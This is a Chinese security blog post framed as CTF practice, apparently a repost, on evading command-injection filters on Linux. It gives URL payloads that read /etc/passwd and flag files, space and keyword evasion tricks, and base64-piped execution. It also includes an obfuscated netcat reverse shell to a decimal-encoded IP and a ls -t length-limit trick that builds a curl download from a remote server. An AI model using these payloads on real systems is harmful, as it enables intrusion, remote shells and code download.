命令执行的内些事儿

admin 2021年10月25日07:51:01评论61 views字数 2111阅读7分2秒阅读模式

前言

在日常渗透中特别是打ctf的时候,遇到的命令执行都会被魔改一番,限制的多,需要的就是靠多刷题多积累各种骚姿势,下面开始班门弄斧!

#针对linux

命令执行的内些事儿



绕过场景

#1 普通绕过

使用url编码/双编码看实际情况,使用一些特殊符号<>,$,"",'',??,,$IFS,$1等等(另外使用tab/换行符/$IFS$1/<>/<可以绕过空格)

http://xxx.com/poc.php?cmd=ca%74 /etc/passwd

http://xxx.com/poc.php?cmd=`whoami`

http://xxx.com/poc.php?cmd=cat%0a/flag

http://xxx.com/poc.php?cmd=cat%09/flag

http://xxx.com/poc.php?cmd=cat$IFS$1/flag

http://xxx.com/poc.php?cmd=cat<>/flag

http://xxx.com/poc.php?cmd=cat</flag

niuxiaoshuai@PWN:~$ whoam""i

 

niuxiaoshuai@PWN:~$ whoam''i

 

niuxiaoshuai@PWN:~$ whoami

 

niuxiaoshuai@PWN:~$ whoam$1i

 

niuxiaoshuai@PWN:~$ cat$IFS$1flag.txt

 

niuxiaoshuai@PWN:~$ $(whoami)

 

#这里主要是看自己的命令环境变量在什么路径,这里是/bin/cat

niuxiaoshuai@PWN:~$ /???/?[a][t] /???/????wd

 

#如果你要查所有4个文件名字符的txt文件(flag.txt):cat flag.txt

niuxiaoshuai@PWN:~$ /???/?[a][t] ???g.?""?t

 

#再比如做个反弹吧,原poc:nc -e /bin/bash 10.73.134.66 6666,对它做个变形

niuxiaoshuai@PWN:~$ n$1c$IFS$1-e$IFS$1/bi''n/ba''sh 172590658$IFS$16666

可以发现都是可以成功执行的


#2 拼接绕过

拼接绕过这个灵感来自xss,例如a=alert;a(1),用在命令执行上也是异曲同工。

niuxiaoshuai@PWN:~$ p=wh;o=oa;c=mi;$p$o$c


#3 base64编码绕过

这里需要用上管道符,执行whoami测试(测试了其他16,32,58等都不行,貌似只支持base64)

niuxiaoshuai@PWN:~$ echo "d2hvYW1p" | base64 -D | bash


#4 ls -t绕过长度限制

linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面),然后再利用sh执行脚本,完美!#假如限制8个字符

#先执行whoami找一下感觉

niuxiaoshuai@PWN:~/poc$ >"mi"

niuxiaoshuai@PWN:~/poc$ >"oa\"

niuxiaoshuai@PWN:~/poc$ >"wh\"

niuxiaoshuai@PWN:~/poc$ ls -t

wh oa mi

niuxiaoshuai@PWN:~/poc$ ls -t >a

niuxiaoshuai@PWN:~/poc$ sh a

a: line 1: ./a: Permission denied

niuxiaoshuai

#假如你要curl远程下载vps上的poc,一般地址转十进制设置80端口,index.html,然后保存为a

curl 2033630300 >a

niuxiaoshuai@PWN:~/poc$ >"30300"

niuxiaoshuai@PWN:~/poc$ >"20336\"

niuxiaoshuai@PWN:~/poc$ >"rl \"

niuxiaoshuai@PWN:~/poc$ >"cu\"

niuxiaoshuai@PWN:~/poc$ ls -t >b

niuxiaoshuai@PWN:~/poc$ sh b

b: line 1: ./b: Permission denied

flag{test_1s_easy}

niuxiaoshuai@PWN:~/poc$ sh b >c

b: line 1: ./b: Permission denied

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current

                                 Dload  Upload   Total   Spent    Left  Speed

100    19  100    19    0     0    223      0 --:--:-- --:--:-- --:--:--   223

niuxiaoshuai@PWN:~/poc$ cat c

flag{test_1s_easy}

###这里也可以省略sh b>c,直接写到上面,但是要注意>问题###


总结

一般题目考的是空格绕过,特征绕过以及长度绕过!是不是觉得非常有趣!!!

 


本文始发于微信公众号(默社安全):命令执行的内些事儿

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月25日07:51:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   命令执行的内些事儿http://cn-sec.com/archives/438891.html

发表评论

匿名网友 填写信息